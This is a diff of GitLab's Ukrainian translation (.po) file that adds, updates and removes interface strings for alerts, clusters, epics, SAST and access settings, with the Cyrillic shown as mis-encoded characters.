@@ -1276,8 +1324,8 @@ msgstr "УчаÑник команди по боротьбі з порушеннÑ
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr "Ð—Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¾Ð±Ð¾Ð²â€™Ñзкове, Ñкщо звіт про безпеку міÑтить нову вразливіÑÑ‚ÑŒ виÑокого, критичного або невідомого рівнÑ."
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
-msgstr "Ð—Ð°Ñ‚Ð²ÐµÑ€Ð´Ð¶ÐµÐ½Ð½Ñ Ð·Ð°Ð¿Ð¸Ñ‚Ñƒ на Ð·Ð»Ð¸Ñ‚Ñ‚Ñ Ð¾Ð±Ð¾Ð²â€™Ñзкове, Ñкщо звіт про відповідніÑÑ‚ÑŒ ліцензіÑм міÑтить ліцензію із чорного ÑпиÑку."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
+msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
msgstr "Створено новий конвеєр Auto DevOps, детальну інформацію можна знайти на Ñторінці %{pipelines_link_start}Конвеєри%{pipelines_link_end}"
@@ -1294,6 +1342,9 @@ msgstr "У вашому форку буде Ñтворено нову гілку
msgid "A new impersonation token has been created."
msgstr "Створено новий токен імітуваннÑ."
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr "Сайт на HTML, Ñкий викориÑтовує Netlify Ð´Ð»Ñ CI/CD заміÑÑ‚ÑŒ GitLab, але вÑе ще з уÑіма іншими чудовими функціÑми GitLab."
@@ -1396,6 +1447,9 @@ msgstr "Дата Ð¿Ñ€Ð¸Ð¿Ð¸Ð½ÐµÐ½Ð½Ñ Ð´Ð¾Ñтупу"
msgid "Access forbidden. Check your access level."
msgstr "ДоÑтуп заборонено. Перевірте рівень доÑтупу."
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr "ДоÑтуп до \"%{classification_label}\" заборонено"
@@ -1472,7 +1526,7 @@ msgid "AccessTokens|reset it"
msgstr "перегенерувати його"
msgid "AccessibilityReport|Learn more"
-msgstr ""
+msgstr "ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ"
msgid "AccessibilityReport|Message: %{message}"
msgstr "ПовідомленнÑ: %{message}"
@@ -1507,6 +1561,9 @@ msgstr "Ðктивувати"
msgid "Activate Service Desk"
msgstr "Ðктивувати Службу підтримки"
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr "Ðктивний"
@@ -1529,7 +1586,7 @@ msgid "Add"
msgstr "Додати"
msgid "Add \"%{value}\""
-msgstr ""
+msgstr "Додати \"%{value}\""
msgid "Add %d issue"
msgid_plural "Add %d issues"
@@ -1541,12 +1598,6 @@ msgstr[3] "Додати %d задач"
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr "Додати %{linkStart}реÑурÑи%{linkEnd} до Ñвого релізу. GitLab автоматично включає реÑурÑи тільки Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ Ñ‚Ð°ÐºÑ– Ñк вихідний код та дані про реліз."
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr "Додати ÑпиÑок змін (CHANGELOG)"
@@ -1661,6 +1712,9 @@ msgstr "Додати дочірній епік до епіка"
msgid "Add comment now"
msgstr "Додати коментар"
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1673,6 +1727,9 @@ msgstr "Додати адреÑу електронної пошти"
msgid "Add environment"
msgstr "Додати Ñередовище"
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr "Додати заголовок Ñ– футер в електронні лиÑти. Будь лаÑка, зверніть увагу, що Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½Ð½Ñ ÐºÐ¾Ð»ÑŒÐ¾Ñ€Ñƒ будуть викориÑтовуватиÑÑ Ñ‚Ñ–Ð»ÑŒÐºÐ¸ в інтерфейÑÑ– заÑтоÑунку"
@@ -1685,6 +1742,9 @@ msgstr "Додати задачі"
msgid "Add italic text"
msgstr "Додати курÑивний текÑÑ‚"
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr "Додати мітку(-ки)"
@@ -1755,7 +1815,7 @@ msgid "Add webhook"
msgstr "Додати вебхук"
msgid "Add/remove"
-msgstr ""
+msgstr "Додати/видалити"
msgid "AddContextCommits|Add previously merged commits"
msgstr ""
@@ -1797,7 +1857,7 @@ msgid "Adding new applications is disabled in your GitLab instance. Please conta
msgstr "Ð”Ð¾Ð´Ð°Ð²Ð°Ð½Ð½Ñ Ð½Ð¾Ð²Ð¸Ñ… проєктів Ð´Ð»Ñ Ð²Ð°ÑˆÐ¾Ð³Ð¾ інÑтанÑу GitLab заборонено. ЗвернітьÑÑ Ð´Ð¾ Ñвого адмініÑтратора GitLab, щоб отримати дозвіл"
msgid "Additional Metadata"
-msgstr ""
+msgstr "Додаткові метадані"
msgid "Additional minutes"
msgstr "Додаткові хвилини"
@@ -1964,6 +2024,9 @@ msgstr "Виберіть конфігураційний файл конвеєрÐ
msgid "AdminSettings|Select a template"
msgstr "Виберіть шаблон"
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr "Шаблон Ñлужби дозволÑÑ” вÑтановити Ð´Ð»Ñ Ñ–Ð½Ñ‚ÐµÐ³Ñ€Ð°Ñ†Ñ–Ð¹ Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ Ð·Ð° замовчуваннÑм"
@@ -1979,6 +2042,9 @@ msgstr "Вкажіть домен, Ñкий буде викориÑтовуваÑ
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr "Ðеобхідна ÐºÐ¾Ð½Ñ„Ñ–Ð³ÑƒÑ€Ð°Ñ†Ñ–Ñ ÐºÐ¾Ð½Ñ‚ÐµÐ¹Ð½ÐµÑ€Ñ–Ð² може бути вибрана із директорії %{code_start}gitlab-ci%{code_end} в Ñконфігурованому %{link_start}репозиторії шаблонів інÑтанÑу%{link_end} або із конфігурацій, що надані GitLab."
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr "При Ñтворенні нової змінної Ñередовища вона буде захищена за замовчуваннÑм."
@@ -2013,7 +2079,7 @@ msgid "AdminUsers|2FA Enabled"
msgstr "2FA увімкнено"
msgid "AdminUsers|Access"
-msgstr ""
+msgstr "ДоÑтуп"
msgid "AdminUsers|Active"
msgstr "Ðктивні"
@@ -2208,6 +2274,9 @@ msgstr[3] "Попереджень"
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr "ПопередженнÑ"
@@ -2238,8 +2307,8 @@ msgstr "Виконавці"
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
-msgstr "Створити задачу"
+msgid "AlertManagement|Create incident"
+msgstr ""
msgid "AlertManagement|Critical"
msgstr "Критичне"
@@ -2295,9 +2364,6 @@ msgstr "Відкриті"
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr "ОглÑд"
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2310,6 +2376,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr "Вирішено"
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr "СервіÑ"
@@ -2352,17 +2421,14 @@ msgstr "ІнÑтрумент"
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr "Ðепризначені"
-
msgid "AlertManagement|Unknown"
msgstr "Ðевідоме"
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
-msgstr "ПереглÑнути задачу"
+msgid "AlertManagement|View incident"
+msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
msgstr ""
@@ -2391,7 +2457,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2490,6 +2556,9 @@ msgstr "Ð’ÑÑ– адреÑи електронної пошти будуть виÐ
msgid "All environments"
msgstr "Ð’ÑÑ– Ñередовища"
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr "Ð’ÑÑ– функції Ð´Ð»Ñ Ð½Ð¾Ð²Ð¸Ñ… проєктів берутьÑÑ Ñ–Ð· шаблонів або під Ñ‡Ð°Ñ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ð½Ð½Ñ, але ви можете вимикати Ñ—Ñ… пізніше в налаштуваннÑÑ… проєкту."
@@ -2584,7 +2653,7 @@ msgid "Allow users to request access (if visibility is public or internal)"
msgstr "Дозволити кориÑтувачам запрошувати доÑтуп, (Ñкщо видиміÑÑ‚ÑŒ загальнодоÑтупна або внутрішнÑ)"
msgid "Allowed"
-msgstr ""
+msgstr "Дозволено"
msgid "Allowed Geo IP"
msgstr ""
@@ -2637,6 +2706,9 @@ msgstr "Ð§Ð°Ñ (в годинах), впродовж Ñкого кориÑтув
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2703,6 +2775,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr "Помилка при коміті ваших змін."
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð´ÐµÐºÐ¾Ð´ÑƒÐ²Ð°Ð½Ð½Ñ Ñ„Ð°Ð¹Ð»Ñƒ."
@@ -2775,9 +2850,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¾Ñ‚Ñ€Ð¸Ð¼Ð°Ð½Ð½Ñ Ð°Ð´Ñ€ÐµÑи Служби підтримки."
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr "Помилка при отриманні ÑпиÑків дошки. Будь лаÑка, Ñпробуйте знову."
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr "Помилка при отриманні збірок."
@@ -2911,7 +2995,7 @@ msgid "An error occurred while reordering issues."
msgstr "Помилка при зміні порÑдку задач."
msgid "An error occurred while requesting data from the Jira service"
-msgstr ""
+msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні даних з ÑервіÑу Jira"
msgid "An error occurred while retrieving calendar activity"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні ÐºÐ°Ð»ÐµÐ½Ð´Ð°Ñ€Ñ Ð°ÐºÑ‚Ð¸Ð²Ð½Ð¾ÑÑ‚Ñ–"
@@ -2919,15 +3003,18 @@ msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні календар
msgid "An error occurred while retrieving diff"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° при отриманні різниці"
+msgid "An error occurred while retrieving diff files"
+msgstr ""
+
+msgid "An error occurred while retrieving projects."
+msgstr ""
+
msgid "An error occurred while saving LDAP override status. Please try again."
msgstr "Помилка при збереженні ÑтатуÑу Ð¿ÐµÑ€ÐµÐ²Ð¸Ð·Ð½Ð°Ñ‡ÐµÐ½Ð½Ñ LDAP. Будь лаÑка, Ñпробуйте ще раз."
msgid "An error occurred while saving assignees"
msgstr "Помилка при збереженні виконавців"
-msgid "An error occurred while saving the approval settings"
-msgstr "Помилка під Ñ‡Ð°Ñ Ð·Ð±ÐµÑ€ÐµÐ¶ÐµÐ½Ð½Ñ Ð½Ð°Ð»Ð°ÑˆÑ‚ÑƒÐ²Ð°Ð½ÑŒ затверджень"
-
msgid "An error occurred while saving the template. Please check if the template exists."
msgstr "Під Ñ‡Ð°Ñ Ð·Ð±ÐµÑ€ÐµÐ¶ÐµÐ½Ð½Ñ ÑˆÐ°Ð±Ð»Ð¾Ð½Ñƒ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°. Будь лаÑка, перевірте, чи такий шаблон Ñ–Ñнує."
@@ -2952,12 +3039,18 @@ msgstr "Помилка при оновленні затверджуючих оÑ
msgid "An error occurred while updating the comment"
msgstr "Під Ñ‡Ð°Ñ Ð¾Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ ÐºÐ¾Ð¼ÐµÐ½Ñ‚Ð°Ñ€Ñ ÑталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ°"
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr "Помилка при перевірці шлÑху групи"
msgid "An error occurred while validating username"
msgstr "СталаÑÑ Ð¿Ð¾Ð¼Ð¸Ð»ÐºÐ° під Ñ‡Ð°Ñ Ð¿ÐµÑ€ÐµÐ²Ñ–Ñ€ÐºÐ¸ імені кориÑтувача"
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr "СталаÑÑŒ помилка. Спробуйте ще раз."
@@ -3036,6 +3129,9 @@ msgstr "Будь-Ñкий"
msgid "Any Author"
msgstr "Будь-Ñкий автор"
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr "Будь-Ñка гілка"
@@ -3259,6 +3355,9 @@ msgstr "квіт."
msgid "April"
msgstr "квітень"
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr "Ðрхів"
@@ -3271,6 +3370,9 @@ msgstr "Ðрхівувати проєкт"
msgid "Archived"
msgstr "Заархівовано"
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr "Ðрхівований проєкт! Репозиторій та інші реÑурÑи проєкту доÑтупні лише Ð´Ð»Ñ Ñ‡Ð¸Ñ‚Ð°Ð½Ð½Ñ"
@@ -3286,9 +3388,6 @@ msgstr "ÐÑ€Ñ…Ñ–Ð²ÑƒÐ²Ð°Ð½Ð½Ñ Ð¿Ñ€Ð¾Ñ”ÐºÑ‚Ñƒ зробить його доÑту
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr "Ви налаштовуєте GitLab Ð´Ð»Ñ ÐºÐ¾Ð¼Ð¿Ð°Ð½Ñ–Ñ—?"
-
msgid "Are you sure that you want to archive this project?"
msgstr "Ви впевнені, що хочете заархівувати цей проєкт?"
@@ -3397,8 +3496,8 @@ msgstr "Ви впевнені? Ð’ÑÑ– коміти, що були підпиÑа
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr "Ви впевнені? Ð’Ð¸Ð´Ð°Ð»ÐµÐ½Ð½Ñ Ñ†ÑŒÐ¾Ð³Ð¾ GPG ключа не впливає на коміти, що вже були підпиÑані."
-msgid "Are you sure? The device will be signed out of GitLab."
-msgstr "Ви впевнені? ПриÑтрій вийде з ÑиÑтеми GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
+msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
msgstr "Ви впевнені? Це призведе до Ð°Ð½ÑƒÐ»ÑŽÐ²Ð°Ð½Ð½Ñ Ð·Ð°Ñ€ÐµÑ”Ñтрованих заÑтоÑунків та U2F приÑтроїв."
@@ -3409,9 +3508,6 @@ msgstr "ВпорÑдкувати графіки"
msgid "Artifact"
msgstr "Ðртефакт"
-msgid "Artifact ID"
-msgstr "ID артефакту"
-
msgid "Artifact could not be deleted."
msgstr "Ðртефакт не може бути видалено."
@@ -3424,6 +3520,9 @@ msgstr "Ðртефакти"
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr "ОÑкільки приÑтрої U2F підтримуютьÑÑ Ð»Ð¸ÑˆÐµ кількома браузерами, ми вимагаємо, щоб ви налаштували заÑтоÑунок Ð´Ð»Ñ Ð´Ð²Ð¾Ñ„Ð°ÐºÑ‚Ð¾Ñ€Ð½Ð¾Ñ— автентифікації перед приÑтроєм U2F. Таким чином ви завжди зможете увійти, навіть при викориÑтанні непідтримуваного браузера."
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr "%{user} відправив код в гілку %{branch} проєкту %{project_name} (%{commit_url}):"
@@ -3565,7 +3664,7 @@ msgid "Attaching the file failed."
msgstr "Ðе вдалоÑÑ Ð¿Ñ€Ð¸ÐºÑ€Ñ–Ð¿Ð¸Ñ‚Ð¸ файл."
msgid "Attachment"
-msgstr ""
+msgstr "ВкладеннÑ"
msgid "Attachments"
msgstr ""
@@ -3687,7 +3786,7 @@ msgstr "ÐвторизаціÑ"
msgid "Authorize %{link_to_client} to use your account?"
msgstr "ÐвторизуватиÑÑ %{link_to_client} викориÑтовуючи ваш аккаунт?"
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3765,6 +3864,9 @@ msgstr "Ðвтоматичне ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ñертифікатами зÐ
msgid "Automatic certificate management using Let's Encrypt"
msgstr "Ðвтоматичне ÐºÐµÑ€ÑƒÐ²Ð°Ð½Ð½Ñ Ñертифікатами за допомогою Let's Encrypt"
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3891,8 +3993,8 @@ msgstr "Ð¦Ñ Ð³Ñ€ÑƒÐ¿Ð° не має значків"
msgid "Badges|This project has no badges"
msgstr "У цього проєкту немає значків"
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
-msgstr "Ви збираєтеÑÑ Ð²Ð¸Ð´Ð°Ð»Ð¸Ñ‚Ð¸ цей значок. Вилучені значки <strong>не можуть</strong> бути відновлені."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
+msgstr ""
msgid "Badges|Your badges"
msgstr "Ваші значки"
@@ -4005,6 +4107,9 @@ msgstr "щоміÑÑцÑ"
msgid "BillingPlans|per user"
msgstr "За кориÑтувача"
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr "Підвищити"
@@ -4074,14 +4179,17 @@ msgstr "Розгорнути"
msgid "Boards|View scope"
msgstr "ПереглÑнути облаÑÑ‚ÑŒ видимоÑÑ‚Ñ–"
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr "Гілка"
msgid "Branch %{branchName} was not found in this project's repository."
msgstr "Гілка %{branchName} відÑÑƒÑ‚Ð½Ñ Ð² репозиторії цього проєкту."
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
-msgstr "Гілка <strong>%{branch_name}</strong> Ñтворена. Ð”Ð»Ñ Ð½Ð°Ñтройки автоматичного Ñ€Ð¾Ð·Ð³Ð¾Ñ€Ñ‚Ð°Ð½Ð½Ñ Ð²Ð¸Ð±ÐµÑ€Ñ–Ñ‚ÑŒ GitLab CI Yaml-шаблон Ñ– закомітьте зміни. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgstr ""
msgid "Branch has changed"
msgstr "Гілка змінилаÑÑŒ"
@@ -4275,6 +4383,9 @@ msgstr "Відкриті задачі"
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr "БізнеÑ"
@@ -4449,6 +4560,9 @@ msgstr "Canary Deployments — це популÑрна ÑÑ‚Ñ€Ð°Ñ‚ÐµÐ³Ñ–Ñ Ð±ÐµÐ·
msgid "Cancel"
msgstr "СкаÑувати"
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr "СкаÑувати запуÑк"
@@ -4482,10 +4596,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr "Ðе вдаєтьÑÑ Ñ–Ð¼Ð¿Ð¾Ñ€Ñ‚ÑƒÐ²Ð°Ñ‚Ð¸, тому що задачі не доÑтупні в цьому проєкті."
-msgid "Cannot make epic confidential if it contains not-confidential issues"
-msgstr "Ðе можна зробити епік конфіденційним, Ñкщо він міÑтить неконфіденційні задачі"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
+msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4506,8 +4620,8 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
-msgstr "Ðе можна додати конфіденційний епік Ð´Ð»Ñ Ð½ÐµÐºÐ¾Ð½Ñ„Ñ–Ð´ÐµÐ½Ñ†Ñ–Ð¹Ð½Ð¾Ñ— задачі"
+msgid "Cannot set confidential epic for a non-confidential issue"
+msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
msgstr "Ðеможливо показати попередній переглÑд. Ð”Ð»Ñ Ð¿Ð¾Ð¿ÐµÑ€ÐµÐ´Ð½ÑŒÐ¾Ð³Ð¾ переглÑду файлів Sketch, вони повинні мати формат, введений верÑією 43 або вище."
@@ -4692,9 +4806,6 @@ msgstr "Перевірити наÑвніÑÑ‚ÑŒ функціональноÑÑ‚Ñ–
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "ПереглÑньте %{docs_link_start}документацію%{docs_link_end}."
-msgid "Check your .gitlab-ci.yml"
-msgstr "Перевірте Ñвій .gitlab-ci.yml"
-
msgid "Check your Docker images for known vulnerabilities."
msgstr "Перевірте Ñвої образи Docker на наÑвніÑÑ‚ÑŒ відомих вразливоÑтей."
@@ -4920,8 +5031,8 @@ msgstr "Оберіть групу найвищого Ñ€Ñ–Ð²Ð½Ñ Ð´Ð»Ñ Ñ–Ð¼Ð¿Ð¾Ñ
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr "Виберіть рівень видимоÑÑ‚Ñ–, увімкніть/вимкніть функції Ð´Ð»Ñ Ð¿Ñ€Ð¾ÐµÐºÑ‚Ñƒ (задачі, репозиторій, вікі, Ñніпети) та вÑтановіть дозволи."
-msgid "Choose what content you want to see on a group’s overview page"
-msgstr "Вибрати вміÑÑ‚ оглÑдової Ñторінки групи"
+msgid "Choose what content you want to see on a group’s overview page."
+msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
msgstr "Виберіть, Ñкі репозиторії ви хочете підключити Ñ– запуÑтити конвеєри CI/CD."
@@ -5088,9 +5199,15 @@ msgstr "не доÑтупно: %{reason}"
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr "ОчиÑтити"
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr "ОчиÑтити фільтри графіків"
@@ -5196,6 +5313,9 @@ msgstr "Закрито"
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr "Закриті задачі"
@@ -5229,20 +5349,26 @@ msgstr "Рівень клаÑтера"
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
-msgstr "%{custom_domain_start}Детальніше%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
-msgstr "може викориÑтовуватиÑÑ Ð·Ð°Ð¼Ñ–ÑÑ‚ÑŒ влаÑного домену."
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
+msgstr ""
+
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
+msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} були уÑпішно вÑтановлені на ваш Kubernetes-клаÑтер"
-msgid "ClusterIntegration|%{external_ip}.nip.io"
-msgstr "%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
+msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
msgstr "%{title} уÑпішно видалено."
@@ -5289,14 +5415,17 @@ msgstr "УÑÑ– дані, не передані в GitLab, будуть видаÐ
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr "Ð’ÑÑ– дані буде видалено Ñ– вони не зможуть бути відновлені."
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr "Дозволити GitLab керувати проÑторами імен (namespace) та Ñлужбовими обліковими запиÑами (service account) в цьому клаÑтері."
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr "Дозволити GitLab керувати проÑторами імен (namespace) та Ñлужбовими обліковими запиÑами (service account) в цьому клаÑтері. %{startLink}ДізнатиÑÑ Ð±Ñ–Ð»ÑŒÑˆÐµ%{endLink}"
-msgid "ClusterIntegration|Alternatively"
-msgstr "Ðльтернативно"
+msgid "ClusterIntegration|Alternatively, "
+msgstr ""
msgid "ClusterIntegration|Amazon EKS"
msgstr "Amazon EKS"
@@ -5313,6 +5442,9 @@ msgstr "Помилка при отриманні ваших проектів: %{
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr "Помилка при отриманні типів машин зони: %{error}"
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr "УÑÑ– запущені конвеєри буде зупинено."
@@ -5352,15 +5484,12 @@ msgstr "Виберіть %{startLink}підмережі%{externalLinkIcon} %{end
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr "Вибрати %{startLink}тип інÑтанÑу %{externalLinkIcon}%{endLink} робочого вузла."
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
-msgstr "Виберіть, Ñкі заÑтоÑунки необхідно вÑтановити на ваш клаÑтер Kubernetes. Ð”Ð»Ñ Ð²ÑÑ‚Ð°Ð½Ð¾Ð²Ð»ÐµÐ½Ð½Ñ Ð±ÑƒÐ´ÑŒ-Ñкого з наÑтупних заÑтоÑунків потрібен Helm Tiller."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
+msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr "Виберіть, Ñке із ваших Ñередовищ буде викориÑтовувати цей клаÑтер."
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr "ОчиÑтити кеш клаÑтера"
@@ -5385,6 +5514,9 @@ msgstr "КлаÑтери викориÑтовуютьÑÑ ÑˆÐ»Ñхом вибоÑ
